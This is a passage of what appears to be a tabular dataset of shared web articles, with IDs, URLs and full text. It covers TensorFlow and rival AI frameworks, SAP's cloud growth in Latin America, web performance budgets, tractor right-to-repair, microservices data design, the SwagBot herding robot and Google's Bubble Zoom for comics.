the community a useful tool ""and everyone could standardize on that,"" said Corrado, a senior research scientist at Google. ""In a giant green field, trying to build a fence around the next blade of grass is really absurdist. It's really better to help everybody run into that field."" That openness, and continual Google updates, have lured developers like computer-vision startup Matroid, which re-wrote its software to work with TensorFlow, after building on another free AI tool called Caffe. Kindred, a robotics startup, made a similar switch. Looking Elsewhere Not everyone is so keen. As TensorFlow's usage grows, some companies are realizing an increasingly important part of the technology toolkit is controlled by Google, and they don't want to exacerbate that trend. They're ""skeptical about using a language backed by another large company,"" said Soumith Chintala, a Facebook Inc. artificial intelligence researcher and one of the people behind Torch. The unease stems from the fact Google can tweak TensorFlow to suit its own purposes, he said. If the company changes the software too much, then other companies that have adopted it will need to make a copy of the software and rewrite it to suit their own needs -- an expensive and time-consuming process known as forking. That's led some to look elsewhere. Skymind, which makes free AI software, has had more than five customers tell it they are wary of using TensorFlow, said CEO Chris Nicholson. He declined to name any of the companies, citing non-disclosure agreements. Since TensorFlow launched, designers of other AI programming projects have been inundated with queries from companies that don't want to rely on Google. Several reached out to the creators of Theano, developed mainly at the University of Montreal, to see if they can donate resources to the project, according to Yoshua Bengio, a professor who leads AI research at the school. The same happened with Torch, said Chintala. Facebook does much of its AI research with Torch, and Chintala helps guide development of the project in his spare time. He and other backers moved Torch into a non-profit organization called SPI Inc. in May to make it easier for more people to work on the language and donate to it. 'Counterpoint' ""One of the reasons we want to stick with Torch is to create a strong counterpoint"" to TensorFlow, said Clement Farabet, who helped develop Torch. He now works at Twitter Inc., which uses Torch to run AI systems that analyze images and select tweets people may want to read. It's better for the community if there's a choice of AI software, he said. Google could solve some of these problems by donating TensorFlow to a neutral third-party, said Bengio, who has discussed his ideas with the company. This structure could ""provide neutral software for all,"" he said. Google has no plans to do that, but it's open to letting outside people have a say in what code gets merged into the main software, said Jason Freidenfelds, a spokesman for Google. Google's strategy may be dictated by past failings, said Reza Zadeh, chief executive officer of Matroid, who worked at Google a decade ago. Back then, Google developed the Google File System and MapReduce to store and analyze lots of data. It published research papers on them, but no code. Some employees at Yahoo! Inc. used the research to create Hadoop, technology that underpins public company Hortonworks Inc. and larger private rival Cloudera Inc. ""They've learned from that,"" said Zadeh. Before it's here, it's on the Bloomberg Terminal. LEARN MORE",en
1469188014,CONTENT SHARED,5847540986736720765,-6037268165948401442,-9020247711647441830,,,,HTML,http://exame.abril.com.br/negocios/noticias/com-aposta-em-nuvem-sap-dribla-crise-e-cresce-na-america,"Focada em nuvem, SAP dribla crise e cresce na América Latina | EXAME.com","São Paulo - Com a aposta em computação em nuvem , a SAP tem impulsionado seus negócios na América Latina . Apesar dos desafios macroeconômicos enfrentados na região, em especial no Brasil, as receitas com software e soluções em cloud computing cresceram dois dígitos no segundo trimestre. A empresa alemã não abre os números locais exatos, mas, globalmente, as vendas para o segmento aumentaram 11%. ""A nuvem é uma tendência. Porque sua implementação é rápida e não depende de Capex (dinheiro gasto com compra de bens, por exemplo), só existe o custo da operação. Ela também permite a gestão de muitas áreas diferentes em um só lugar"", diz o presidente da SAP América Latina, Claudio Muruzábal. Segundo ele, ao optar por esse tipo de serviço, o cliente acaba economizando no longo prazo. De acordo com um levantamento da consultoria IDC, ao menos 40% dos gastos corporativos com TI estarão centrados em nuvem até 2018. No Brasil, uma das corporações que abraçaram essa tecnologia foi a Cielo, que passou a usar a solução SucessFactors, da SAP. Por meio dela, a empresa vai gerenciar pagamentos, planos de carreira e outras ferramentas de RH. Nichos de mercado No país, o setor financeiro foi um dos que mais contrataram os produtos e serviços da SAP. As vendas para esse segmento cresceram três dígitos. Um dos clientes é o Itaú, que adotou a solução SAP HANA, plataforma de big data que processa informações em tempo real. ""Assim, o banco vai atender melhor os correntistas no mundo digital"", afirma Muruzábal. Tempos ruins? Em épocas de crise, é comum que as empresas busquem soluções tecnológicas para cortar custos e se manterem competitivas. ""O melhor exemplo disso é o nosso crescimento em um cenário que não é favorável"", diz o executivo. Análises publicadas pela SAP em seu balanço semestral preveem que os gastos com TI devem crescer 1,5% no mundo todo neste ano, mas, na América Latina, eles devem encolher 0,8%. A queda, segundo o documento, ""pode ser atribuída ao declínio da confiança nos negócios em alguns países da região - mais particularmente, no Brasil"". A longo prazo, porém, a expectativa é de que os investimentos na área voltem a ganhar força por aqui, com eventual aumento de 2,7% em 2020. Os números foram estimados pelo Gartner Group. Muruzábal não se arrisca a traçar um cenário para a retomada da economia brasileira, mas diz que a SAP ""está comprometida com o desenvolvimento das empresas do país, desde as grandes até as pequenas"". Resultado No mundo todo, o faturamento da SAP foi de 9,9 bilhões de euros no primeiro semestre, um salto de 5% sobre igual intervalo de 2015. Desse total, 8,2 bilhões vieram das receitas com nuvem e software, os produtos que mais crescem. O lucro líquido chegou a 1,3 bilhões de euros, aumento de 57% na mesma comparação, e a margem operacional foi de 20,9%. Já quando recortado apenas o segundo trimestre, as receitas somaram 5,2 bilhões de euros, aumento de 5% ante os mesmos meses do ano anterior. O lucro líquido chegou a 813 milhões de euros no período, expansão de 2%. São Paulo - Juntas, as 500 maiores empresas do mundo , elencadas pela Fortune, geraram 27,6 trilhões de dólares em receitas e 1,5 trilhão em lucros no ano passado. Os números caíram 11,5% e 11,2% frente ao ano passado, respectivamente. A baixa deve-se principalmente à valorização do dólar, ao enfraquecimento da economia chinesa e aos baixos preços do petróleo . Essas companhias empregam 67 milhões de pessoas e estão presentes em 33 países, representando 56 tipos de indústria. Para compor o ranking , a revista considerou indicadores financeiros reportados para o ano fiscal que se encerrou em 31 de março de 2016. Apenas sete brasileiras figuram na lista : Petrobras (na posição 58), Banco do Brasil (115), Itaú (159), JBS (185), Bradesco (209), Vale (417) e Ultrapar (474). Nas fotos, conheça as 25 maiores do mundo.",pt
1469189509,CONTENT SHARED,-8257579276626076787,5127372011815639401,-6617666288401559638,,,,HTML,https://www.keycdn.com/blog/web-performance-budget/,Setting and Calculating a Web Performance Budget,"When it comes to web performance, it's always a give and take game. Do you really need that script or 3rd party asset, and if so, what purpose or functionality does it serve? Is it something you can live without? There is always a good balance that must be found between performance, functionality, UX, and design. That is why it is important to calculate and set what we call a web performance budget and try to stick to it as close as possible. On average, 39 percent say speed is more important than functionality for most websites. - Compuware Survey Web Performance Budget What is a web performance budget? A web performance budget is a group of limits to certain values that affect site performance that should not be exceeded in the design and development of any web project. This could be the total size of a page, size of images you are uploading, or even the number of HTTP requests that your webpage generates. The term ""performance budget"" has come up quite a few times in the past as bridging the gap between design and performance is always a tricky one. Brad Frost touched on the subject in his post about performance as design . Tim Kadlec discussed the importance of setting a performance budget and Zachary Brady talked about where to start when setting a performance budget. Performance should never be sacrificed for the sake of presentation."" - InVisionApp Setting a Web Performance Budget The easiest and probably the most effective way to set a web performance budget is at the very beginning of a project to ensure collaboration between your UX designer, visual designer and developer. This way you have input on each and every component. Here are a couple different budget ideas and limits you might set: Maximum size of the images you are willing to upload to your website (before or after compression) to maintain as small page weight as possible Total number of HTTP requests allowed per page Maximum page weight totals Setting a threshold to achieve using Google's Speed Index Limits on segmented scripts such as JavaScript, CSS, web fonts Total load time not to exceed a certain number (seconds or ms) Google fonts, local fonts, or system fonts (read our case study on web font performance ) Number of external resources (perhaps you choose to migrate some 3rd party assets, if possible, to your own CDN) Another great way to get an idea of where to start is to also check out what your competitors are doing. Most likely there are one or two that are doing well when it comes to performance, so possibly use them as a benchmark to start or beat. Measure and Calculate Performance Budget There are a lot of different website speed test tools you can use to calculate your web performance budget and analyze things such as your total page weight, HTTP requests, and overall load times. Some of the popular ones of course are WebPageTest, Pingdom, GTMetrix, and KeyCDN's speed test tool. However, today we want to share with you a couple other unique ones that you might not have heard of. Performance Budget The first one is the free website based performance budget tool , created by Jonathan Fielding , which helps you calculate a performance budget. Simply input how fast in seconds you want your site to load, and pick the connection speed. On the next page you can adjust the sliders based on the HTML, CSS, JS, Images, Video, and font usage on your website. And set your approximate budget in KB. Notice it will give you a warning if your total assets are exceeding your total budget. On the last page it gives you a performance budget breakdown and estimated load times across the board for different connection types. Again these are all estimates but it can be useful to see how much spread there is between all the connection speeds. Don't forget to optimize for mobile and slower devices. According to Cisco's 2016 VNI report, 2G devices still made up for over 13% of all global mobile connections. It is important to remember that not everyone has access to 4G and soon to be 5G. Browser Calories Another great free little tool is called Browser Calories , created and developed by Zeno Rocha. This comes in the form of a browser extension, available for Chrome , Firefox , and Opera . On his site he emphasizes that the web is getting fatter and if you take a look at the top 1 million sites, you will see that median page weight is now bigger than SimCity 2000. At first glance the extension appears to be quite humorous in nature as it compares your performance to more of a food diet, but it actually is a very handy little extension. With the Chrome extension you can run it on any page and it will display the ""performance facts."" This will show you the amount per serving and see where your load is distributed. The values are based on the top 100 websites from HTTP Archive. You can also change your performance budget and set different values based on the project and or website you are working on. You can do quick fixes on your site and re-run it very fast to see if you are staying within your budget. Note: At the moment it doesn't work on local sites. Summary Using a web performance budget can be a great point of reference for helping you figure out what should and shouldn't go on your website. If something is slowing down your site, either figure out a way to optimize it or if it doesn't serve a useful purpose, perhaps it is time to drop it altogether. The main idea is to set goals for your website so that you can better balance the performance you are wanting, without harming the functionality or user experience. Do you have any thoughts on setting or calculating a web performance budget? If so, we would love to hear about them below. Together we can make the web faster! Related Articles",en
1469191098,CONTENT SHARED,-2929967869758467182,1120069409160402054,648931379751644659,,,,HTML,http://modernfarmer.com/2016/07/right-to-repair/,Farmers Demand Right to Fix Their Own Dang Tractors - Modern Farmer,"This might be hard to believe for non-farmers, but owners of tractors aren't actually allowed to fix them, thanks to a set of laws designed to protect software intellectual property. In fact, the craziness of this goes even further: In a 2015 letter to the United States Copyright Office, John Deere, the world's largest tractor maker, said that the folks who buy tractors don't own them, not in the way the general public believes ""ownership"" works. Instead, John Deere said that those who buy tractors are actually purchasing an ""implied license for the life of the vehicle to operate the vehicle."" This weirdness all comes back to the 1998 Digital Millennium Copyright Act, or DMCA, which governs the way people use a whole variety of digital-ish items. The DMCA was designed to protect software makers from piracy, which it didn't really do . John Deere jumped into the game thanks to the extensive software involved in its modern tractors; these aren't just simple machines; they have a fair amount of programming designed to help the tractors perform their jobs more efficiently, ranging from guidance systems to diagnostic tools to communication software. But what this has meant is that tractor owners can't repair their own tractors-and if they do, they're in violation of the DMCA. So, if a machine stops working, its owner can't pop the hood, run some tests, and find out what's going on; he or she is legally required to take the tractor to a service center (one owned by the manufacturer, since that's the only entity allowed to analyze the tractor's issues). This can be expensive and time-consuming, and more to the point, unnecessary- at least according to farmers in several states , who are lobbying to force tractor manufacturers make their diagnostic tools available to independent repair shops and owners. Not everyone is on the farmers' side here; some, according to the Associated Press, are concerned that the move would reduce revenue to tractor manufacturers, potentially landing them in trouble. But the tractor owners disagree, annoyed that their tractors are treated differently from their cars and trucks, which can be serviced by any independent shop. Activists for the Nebraska Fair Repair Bill, which was rejected by the state senate last year but will probably be reintroduced next year, have set up a few resources to check out if you're curious about just how frustrating it can be to be denied the right to repair your own dang tractor.",en
1469191227,CONTENT SHARED,4831903061865014867,7645894863578715801,-6341347197319693750,,,,HTML,http://blog.christianposta.com/microservices/the-hardest-part-about-microservices-data/,The Hardest Part About Microservices: Your Data,"Continuing on with my series about microservices implementations (see "" Why Microservices Should Be Event Driven "", "" Three things to make your microservices more resilient "", "" Carving the Java EE Monolith: Prefer Verticals, not Layers "" for background) we're going to explore probably the hardest problem when creating and developing microservices. Your data. Using Spring Boot/Dropwizard/Docker doesn't mean you're doing microservices. Taking a hard look at your domain and your data will help you get to microservices. Follow along for the rest of the series (twitter: @christianposta , RSS/blog: blog.christianposta.com ) Of the reasons we attempt a microservices architecture, chief among them is allowing your teams to be able to work on different parts of the system at different speeds with minimal impact across teams. So we want teams to be autonomous, capable of making decisions about how to best implement and operate their services, and free to make changes as quickly as the business may desire. If we have our teams organized to do this, then the reflection in our systems architecture will begin to evolve into something that looks like microservices. To gain this autonomy, we need to ""shed our dependencies"" but that's a lot easier to say than do. I've seen folks refer to this idea in part, trivially, as ""each microservice should own and control its own database and no two services should share a database."" The idea is sound: don't share a single database across services because then you run into conflicts like competing read/write patterns, data-model conflicts, coordination challenges, etc. But a single database does afford us a lot of safeties and conveniences: ACID transactions, single place to look, well understood (kinda?), one place to manage, etc. So when building microservices how do we reconcile these safeties with splitting up our database into multiple smaller databases? Let's see. First, for an ""enterprise"" building microservices, we need to make the following things clear: What is the domain? What is reality? Where are the transactional boundaries? How should microservices communicate across boundaries? What if we just turn the database inside out? What is the domain? This seems to be ignored at a lot of places but is a huge difference between how the internet companies practice microservices and how a traditional enterprise may (or may fail because of neglecting this) implement microservices. Before we can build a microservice, and reason about the data it uses (produces/consumes, etc) we need to have a reasonably good, crisp understanding about what that data is representing. For example, before we can store information into a database about ""bookings"" for our TicketMonster and its migration to microservices , we need to understand ""what is a booking"". Just like in your domain, you may need to understand what is an Account, or an Employee, or a Claim, etc. To do that we need to dig into what is ""it"" in reality? For example, ""what is a book""? Try to stop and think about that, as it's a fairly simple example. Try to think what is a book. How would we express this in a data model? Is a book something with pages? Is a newspaper a book (it has pages)? So maybe a book has a hard cover? Or is not something that's released/published every day? If I write a book (which I did :) Microservices for Java Developers ) the publisher may have an entry for me with a single row representing my book. But a bookstore may have 5 of my books. Is each one a book? Or are they copies? How would we represent this? What if a book is so long it has to be broken down into volumes? Is each volume a book? Or all of them combined? What if many small compositions are combined together? Is the combination the book? Or each individual one? So basically I can publish a book, have many copies of it in a bookstore, each one with multiple volumes. So what is a book then? The reality is there is no reality. There is no objective definition of ""what is a book"" with respect to reality so to answer any question like that, we have to know ""who's asking the question and what is the context"". Context is king. We as humans can quickly (and even unconsciously) resolve the ambiguity of this understanding because we have a context in our heads, in the environment, and in the question. But a computer doesn't. We need to make this context explicit when we build our software and model our data. Using a book is to illustrate this is simplistic. Your domain (an enterprise) with its Accounts, Customers, Bookings, Claims, etc is going to be far more complicated and far more conflicting/ambiguous. We need boundaries. Where do we draw the boundaries? The work in the Domain Driven Design community helps us deal with this complexity in the domain. We draw a bounded context around Entities, Value Objects, and Aggregates that *model** our domain. Stated another way, we build and refine a model that represents our domain and that model is contained within a boundary that defines our context. And this is explicit. These boundaries end up being our microservices, or, the components within the boundaries end up being microservices, or both. Either way, microservices is about boundaries and so is DDD. Our data model (how we wish to represent concepts in a physical data store...note the explicit difference here) is driven by our domain model, not the other way around. When we have this boundary, we know, and can make assertions, about what is ""correct"" in our model and what is incorrect. These boundaries also imply a certain level of autonomy. Bounded context ""A"" may have a different understanding of what a ""book"" is than bounded context ""B"" (eg, maybe bounded context ""A"" is a search service that searches for titles where a single title is a ""book""; maybe bounded context ""B"" is a checkout service that processes a transaction based on how many books (titles+copies) you're buying, etc). You may stop and say ""wait a minute... Netflix doesn't say anything about Domain Driven Design... Neither does Twitter.. nor LinkedIn... why should I listen to this about DDD""? Well here's why: ""People try to copy Netflix, but they can only copy what they see. They copy the results, not the process"" - Adrian Cockcroft, former Netflix Chief Cloud Architect The journey to microservices is just that: a journey. It will be different for each company . There are no hard and fast rules, only tradeoffs. Copying what works for one company just because it appears to work at this one instant is an attempt to skip the process/journey and will not work. And the point to make here is that your enterprise is NOT Netflix. In fact, I'd argue that for however complex the domain is at Netflix, it's NOT as complicated as it is at your legacy enterprise. Searching for and showing movies, posting tweets, updating a linkedIn profile, etc are all a lot simpler than your Insurance Claims Processing systems. These internet companies went to microservices because of speed to market and sheer volume/scale (posting a tweet to twitter is simple.... posting tweets and displaying tweet streams for 500 million users is incredibly complex). Enterprises today are going to have to confront complexity in BOTH the domain as well as scale. So accept the fact that this is a journey that balances domain, scale, and organizational changes . It will be different for each organization. Don't ignore it. What are the transactional boundaries? Back to the story. We need something like domain driven design to help us understand the models we'll use to implement our systems and draw boundaries around these models within a context. So we accept that a Customer, Account, Booking, etc may mean different things to different bounded contexts. But at the end of the day, we may end up with these related concepts distributed around our architecture but we need some way to reconcile changes across these different models when changes happen. We need to account for this, but first we need to identify our transactional boundaries. Unfortunately, we as developers still seem to approach building distributed systems all wrong: we still look through the lens of one, single, relational, ACID, database. We also ignore the perils of an asynchronous, unreliable networks. To wit, we do things like write fancy frameworks that keep us from having to know anything about the network (including RPC frameworks, database abstractions that also ignore the network) and try to implement everything with point-to-point synchronous invocations (REST, SOAP, other CORBA like object serialization RPC libraries, etc). We build systems without regard to authority vs autonomy and end up trying to solve the distributed data problem with things like two-phase commit across lots of independent services. Or we ignore these concerns all together? This mindset leads to building very brittle systems that don't scale...And it doesn't matter if you call it SOA, Microservices, Miniservices, whatever. So what do I mean by transactional boundaries? I mean the smallest unit of atomicity that you need with respect to the business invariants. Whether you use a database's ACID properties to implement the atomicity or a two-phase commit, etc, doesn't really matter. The point is we want to make these transactional boundaries as small as possible (ideally a single transaction on a single object: Vernon Vaughn has a series of essays describing this approach with DDD Aggregates ) so we can scale. When we build our domain model, using DDD terminology, we identify Entities, Value Objects and Aggregates. Aggregates in this context are objects that encapsulate other Entities/Value Objects and are responsible for enforcing invariants (there can be multiple Aggregates within a Bounded Context). For example, let's say we have the following use cases: ""allow customers to search for flights"" ""allow a customer to pick a seat on a particular flight"" ""allow customer to book a flight"" We'd probably have three bounded contexts here: Search, Booking, and Ticketing (we'd likely have lots more like Payments, Loyalty, StandBy, Upgrades, etc but we'll keep it narrowed to these three) . Search is responsible for showing flights for specific routes and itineraries for a given time frame (range of days, times, etc). Booking will be responsible for teeing up the Booking process with customer information (name, address, frequent flyer number, etc), seat preferences, and payment information. Ticketing would be responsible for actually settling the reservations with the airline and issuing a Ticket. Within each Bounded Context, we want to identify transactional boundaries where we can enforce constraints/invariants. We will not consider atomic transactions across bounded contexts (we'll discuss this in the next section). How would we model this considering we want small transaction boundaries (this is a very simplified version of booking a flight btw)? Maybe a Flight aggregate that encapsulates values like Time, Date, Route and entities like Customers, Planes, and Bookings? This seems to make sense: a flight has a plane, seats, customers, and bookings. The Flight aggregate is responsible for keeping track of Planes, Seats, etc for the purposes of creating Bookings. This may make some sense from a data model standpoint inside of a database (nice relational model with constraints and foreign keys, etc), or make a nice object model (inheritance/composition) in our source code, but let's look at what happens. Are there really invariants across all Bookings, Planes, Flights etc just to create an Booking? That is, if we add a new Plane to the Flight aggregate, should we really include Customers and Bookings in that transaction? Probably not. What we have here is an Aggregate built with compositional and data model conveniences in mind. However, the transactional boundaries are too big. If we have lots of changes to flights, seats, Bookings, etc, we'll have a lot of transactional conflicts (whether using optimistic or pessimistic locking won't matter). And that obviously doesn't scale (never mind failing orders all the time just because a flight schedule is changing being a terrible customer experience). What if we broke the transactional boundaries a little smaller. Maybe Booking, SeatAvailability, and Flights are their own independent aggregates. A Booking encapsulates customer information, preferences and maybe payment information. The SeatAvailability aggregate encapsulates planes and plane configurations. Flights aggregate is made up of schedules, routes, etc. ... but we can proceed with creating bookings without impacting transactions on Flight Schedules and Planes/SeatAvailability. From a domain perspective, we want to be able to do that. We don't need 100% strict consistency across planes/flights/bookings, but we do want to correctly record Flight schedule changes as an admin, Plane configurations as a vendor, and Bookings from customers. So how do we implement things like ""pick a particular seat"" on a flight? During the booking process we may call into the SeatAvailability aggregate and ask it to reserve a seat on a plane. This seat reservation would be implemented as a single transaction, for example, (hold seat 23A) and return a reservation ID. We can associate this reservation ID with the Booking and submit the Booking knowing the seat was at one point ""reserved"". Each of these (reserve a seat, and accept a booking) are individual transactions and can each proceed independently without any kind of two-phase commit or two-phase locking. Note using a ""reservation"" here is a business requirement. We don't do seat assignment here, we just reserve the seat. This requirement would need to be fettered out potentially through iterations of the model because the language for the use case at first may simply say ""allow a customer to pick a seat"". A developer could try to infer that the requirement means ""pick from the remaining seats, assign this to the customer, remove it from inventory, and don't sell more tickets than seats"". This would be extra, unnecessary invariants that would add additional burden to our transactional model which the business doesn't really hold as an invariant. The business is certainly okay taking bookings without complete seat assignments and even overselling the flight. This is an example of allowing the true domain guide you toward smaller, simplified, yet fully atomic transactional boundaries for the individual aggregates involved. The story cannot end here though because we now have to rectify the fact that there are all these individual transactions that need to come together at some point. Different parts of the data are involved (ie, I created a booking and seat reservations, but these are not settled transactions wrt to getting a boarding pass/ticket, etc.) How should microservices communicate across boundaries? We want to keep the true business invariants in tact. With DDD we may chose to model these invariants as aggregates and enforce them using single transactions for an aggregate. There may be cases where we're updating multi-aggregates in a single transaction (across a single database or multiple databases) but those scenarios would be the exception. We still need to maintain some form of consistency between aggregates (and eventually between bounded contexts) so how should we do this? One thing we should understand: distributed systems are finicky. There are very few guarantees if any we can make about anything in a distributed system in bounded time (things WILL fail, things are non-deterministically slow or appear to have failed, systems have non-synchronized time boundaries, etc), so why try to fight it? What if we embrace this and bake it into our consistency models across our domain? What if we say ""between our necessary transactional boundaries we can live with other parts of our data and domain to be reconciled and made consistent at some later point in time""? As we've been saying, for microservices we value autonomy. We value being able to make changes independent of other systems (in terms of availability, protocol, format, etc). This decoupling of time and any guarantees about anything between services in any bounded time allows us to truly achieve this sort of autonomy ( this is not unique to computer systems... or any systems for that matter . So I say, between transaction boundaries and between bounded contexts, use events to communicate consistency. Events are immutable structures that capture an interesting point in time that should be broadcast to peers. Peers will listen to the events in which they're interested and make decisions based on that data, store that data, store some derivative of that data, update their own data based on some decision made with that data, etc, etc. Continuing the Flight booking example I somehow started (lol instead of using my TicketMonster example... that's what happens when I start writing!), when a booking is stored via an ACID-style transaction, how do we end up Ticketing that? That's where the aforementioned Ticketing bounded context comes in. The Booking bounded context would publish an event like ""NewBookingCreated"" and the Ticketing Bounded Context would consume that event and proceed to interact with the backend (potentially legacy) ticketing systems. This obviously requires some kind of integration and data transformation which something Apache Camel would be great at. It also brings up some other questions. How do we do a write to our database AND publish to a queue/messaging appliance atomically? And what if we have ordering requirements/causal requirements between our events? And what about one database per service? Ideally our Aggregates would use commands and domain events directly (as a first class citizen.. .that is, any operation is implemented as commands, and any response is implemented as reacting to events) and we could more cleanly map between the events we use internal to our bounded context and those we use between contexts. We could just publish events (ie, NewBookingCreated) to a messaging queue and then have a listener consume this from the queue and insert it idempotently into the database without having to use XA/2PC transactions instead of inserting into the database ourselves. We could insert the event into an dedicated event store that acts like both a database and a messaging publish-subscribe topic (this is probably the preferred route). Or you can just continue to use an ACID database and stream changes to that database to a persistent, replicated log like Apache Kafka using something like Debezium and deduce the events using some kind of event processor/steam processor. Either way, the point is we want to communicate between boundaries with immutable point in time events. This comes with some great advantages: we avoid expensive, potentially impossible transaction models across boundaries we can make changes to our system without impeding progress of other parts of the system (timing and availability) we can decide how quickly or slowly we want to see the rest of the outside world and become eventually consistent we can store the data in our own databases however we'd like using the technology appropriate for our service we can make changes to our schema/databases at our leisure we become much more scalable, fault tolerant, and flexible you have to pay even more attention to CAP Theorem and the technologies you chose to implement your storage/queues Noteably, this comes with disadvantages: it's more complicated difficult to debug since you have a delay when seeing events, you cannot make any assumptions about what other systems know (which you cannot do anyway, but it's more pronounced in this model) more difficult to operationalize you have to pay even more attention to CAP Theorem and the technologies you chose to implement your storage/queues I listed ""paying attention to CAP, et al"" in both columns because although it places a bit more of a burden on you, it's imperative that you do so anyway!! It's imperative that we always pay attention to the different forms of data consistency and concurrency in our distributed data systems! Relying on ""our database in ACID"" is no longer acceptable (especially when that ACID database most likely defaults to some weak consistency anyway... so much for your ACID properties). Another interesting concept that emerges from this approach is the ability to implement a pattern known as ""Command Query Separation Responsibility"" where we separate our read model and our write models into separate services. Remember we lamented the internet companies don't have very complex domain models. This is evident in their write models being simple ( insert a tweet into a distributed log for example). However their read models are crazy complicated because of their scale. CQRS helps separate these concerns. On the flip side, in an enterprise, the write models might be incredibly complicated while the read models may be simple flat select queries and flat DTO objects. CQRS is a powerful separation of concerns pattern to evaluate once you've got proper boundaries and a good way to propogate data changes between aggregates and between bounded contexts. So what about a service has only one database and doesn't share with any other service? In this scenario, we may have listeners that subscribe to the stream of events and may insert data into a shared database that the primary aggregates might end up using. This ""shared database"" is perfectly fine. Remember, there are no rules, just tradeoffs. In this instance we may have multiple services working in concert together with the same database and so long as we (our team) owns all the processes, we don't negate any of our advantages of autonomy. Thusly when you hear someone say ""a microservice should have its own database and not share it anyone else"" you can respond ""well, kinda"" :) What if we just turn the database inside out? What if we take the concepts in the previous section to its logical extreme? What if we just say we'll use events/streams for everything AND also persist these events forever? What if we say databases/caches/indexes are really just materialized views of a persistent log/stream of events that happened in the past, and the current state is a left fold over all of those events? This approach brings even more benefits that you can add to the benefits of communicating via events (listed above): Now you can treat your database as a ""current state"" of record, not the true record You can introduce new applications and re-read the past events and examine their behaviors in terms of ""what would have happened"" You can perfect audit logging for free You can introduce new versions of your application and perform quite exhaustive testing on it by replaying the events You can more easily reason about database versioning/upgrades/schema changes by just replaying the events into the new database You can migrate to completely new database technology (ie, maybe you find you've outgrown your relational DB and you want to switch to a specialized database/index) For more information on this, take a look at Martin Kleppmann's talk/blog post titled ""Turning the database inside-out with Apache Samza"" When you book a flight on aa.com, delta.com, or united.com, you're seeing some of these concepts in action. When you choose a seat, you don't actual get assigned it, you reserve it. When you book your flight, you don't actually have a ticket. You get an email later telling you you've been confirmed/Ticketed. Have you ever had a plane change and be assigned a different seat for the actual flight? Or been to the gate and heard them ask for volunteers to give up their seat because they oversold the flight? These are all examples of transactional boundaries, eventual consistency, compensating transactions, and even apologies at work. Moral of the story The moral of the story here is that data, data integration, data boundaries, enterprise usage patterns, distributed systems theory, timing, etc, are all the hard parts of microservices (since microservices is really just distributed systems!). I'm seeing too much confusion around technology (""if i use Spring Boot i'm doing microservices"", ""i need to solve service discovery, load balancing in the cloud before i can do microservices"", ""i must have a single database per microservice"") and useless ""rules"" regarding microservices. Don't worry. Once the big vendors have come and sold you all the fancy suites of products (mmm... SOA ring a bell), you'll still be left to do the hard parts listed above.",en
1469191507,CONTENT SHARED,-1868592694876567759,1120069409160402054,648931379751644659,,,,HTML,http://modernfarmer.com/2016/07/swagbot/,"Meet SwagBot, the Robot Cowboy that Can Herd and Monitor Cattle on Its Own - Modern Farmer","What comes to mind when you hear the word ""cowboy?"" Is it a wheeled, robotic contraption? Probably not, but that could change in time thanks to SwagBot, the University of Sydney's autonomous, cattle-herding robot prototype. While the name sounds like some sort of obnoxious, millennial-targeting social media app, SwagBot could instead be an invaluable ally for farmers in Australia. According to New Scientist , the technology was developed to deal with the country's outback farmsteads, which are both enormous and sometimes far outside cities. For example, Suplejack Downs in the Northern Territory is a half-day drive away from a town and is 4,000 square kilometers (988,421 acres) in size. SwagBot is able to keep tabs on cattle (and potentially sheep) on its own and navigate bumpy terrain with ease, helping to guide the cows towards pastures and away from potential hazards. The university's Australian Centre for Field Robotics is only weeks into a two-year trial to test autonomous farming robots, and SwagBot has already impressed in its early testing , showing that it can get around obstacles and do the job without constant oversight. As the video shows, cows respond well to SwagBot's movements, plus the four-wheeled 'bot can also tow trailers around the farm. SwagBot's movements may be deliberate and awkward-looking at times, but that slow and steady approach helps the robot overcome swamps, logs, sudden drops, and other surprise terrain without toppling over. And its mandate will only get more important in the near future. According to University of Sydney professor Salah Sukkarieh, his team plans to enhance SwagBot with sensors that allow the robot to monitor the condition of cows in the field on a regular basis-a significant upgrade from the sporadic check-ups they get from humans. With the sensors, SwagBot will be able to determine if a cow is sick or injured based on its body temperature or the way it walks. Furthermore, SwagBot will have the ability to monitor the condition of the pastures it roams upon, helping it determine which fields offer the most plentiful grass for the cows to consume. That's all still a work in progress, however, with Sukkarieh telling New Scientist that they will be working on algorithms to enable monitoring capabilities ""over the next few months."" It's not fully clear yet how farmers will be able to control or program SwagBot should it have an eventual consumer-focused model, but the GPS boundaries of the land will probably need to be plugged in or outlined on a map. Quite likely, it would have an interface that could be accessed via a computer or tablet, letting farmers tweak SwagBot's directives before letting it loose into the fields. Once instructed, however, it should work without manual control-although the trial video shows a flying drone used to observe or potentially even help guide its movements if desired. SwagBot is only the latest example of a movement to bring more technology into farming and automate processes to free up farmers' resources. In May, we saw a few examples of autonomous farming robots at the AgBot Challenge in Indiana, where students and entrepreneurs battled to showcase their best prototypes, plus Bayer recently announced plans to use extensive satellite data to help farmers better manage their fields. Even home gardeners can get in on automation with FarmBot Genesis . In fact, SwagBot isn't the only robot developed by the University of Sydney to assist Australian farmers. Other robots in its expanding arsenal can monitor and pull (or spray) weeds in a field or even count all the apples in an orchard so farmers can better prepare for pollinating the trees. It'll probably be years until SwagBot and its ilk are patrolling an average farmer's field outside of the trial run, and the rolling robot is unlikely to be as iconic as the classic human cowboy, or as lovable and loyal as a border collie. Still, even if it doesn't look like the cowboy you expect, SwagBot could bring some much-needed help to the farmers of the Australian outback.",en
1469194502,CONTENT SHARED,-823697973575832204,-1443636648652872475,-65776639285603350,,,,HTML,https://techcrunch.com/2016/07/21/google-now-uses-machine-learning-to-make-reading-comics-on-phones-and-tablets-easier/,Google now uses machine learning to make reading comics on phones easier,"Plenty of people still like to read their comics on paper, but increasingly, phones and tablets are the devices of choice for keeping up with the Justice League. Last year, Google introduced a new reading experience for comics in its Play Books store for Android that makes it easier to follow along with the story. Today, the company is launching yet another update to the comics reading experience - this time with a focus on making the speech bubbles in comics more readable on small devices. As Google's Head of Product for Play Books Greg Hartrell told me, the team looked at the feedback it got from the last update. While readers liked the new reading experience, they complained that it was still too hard to read the text on a small screen. Google set out to find a way to make reading the text easier without taking away from the visual experience. So now, with the help of Google's machine learning smarts, the Google Play team is launching Bubble Zoom. Google taught its algorithms to recognize panels and detect speech bubbles and thanks to that, you can now easily zoom into speech bubbles without having to pinch and zoom (and then inevitably get confused about which panel you were actually looking at). It's smart and easy and probably the best use of machine learning for comic book fans yet. To move between bubbles, you can either tap on them or use the volume buttons on your phone. For now, Bubble Zoom is only enabled within all Marvel and DC collected volumes (that's about 2,800 comics in Google's store - and they are all available for 50 percent off right now if you use the code SDCC2016 ), but Hartrell tells me that the team already trained the algorithm on millions of pages and plans to roll it out to other comics and manga over time. 